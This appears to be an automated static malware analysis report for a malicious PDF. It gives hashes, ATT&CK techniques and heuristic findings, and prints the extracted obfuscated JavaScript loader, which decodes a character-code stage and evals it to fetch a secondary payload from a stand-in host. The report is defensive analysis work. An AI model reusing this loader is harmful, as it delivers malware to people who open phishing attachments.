Malicious PDF — malware analysis report

Static analysis result for SHA-256 5c9e60d3f7060816…

MALICIOUS

PDF

47.9 KB Authoring application: substr First seen: 2026-05-08
MD5: 629b8ac12cfa50aa3e02c54b929c892e SHA-1: 334f7b5fc5dda34ed66189cbf2f683046f32ccf3 SHA-256: 5c9e60d3f7060816c7ef447b10190bec75b2d0635dcd24deb9c862fb5eda41a9
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by the 'PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER' heuristic. The script reconstructs a URL, 'http://substr.split.test/aenbwbo/c', and then executes it, likely to download and run a secondary payload. This is a common technique for delivering malware via email attachments.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBD18 445 bytes
SHA-256: 022013bd0581db713cd50eefcacb23d8c009731b7a6ed61f2cbb9a6ceac593dd
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
aa = v[v];
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=aa()[s];
tenk=e('tit'.concat(t));
q=tenk[v](a.length-6,a.length+2);
ouivp=e(v[0].toUpperCase().concat(v[4],'ring.fr',a[6],q));
q=tenk[v](t.length+12)[e(v[0].concat('ubject'))]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	viyqn = 1*(q[i]) - (-1)*(q[i-(-1)]);
	s2 = s2.concat(ouivp(viyqn));
	i+=2;
}
e(s2);

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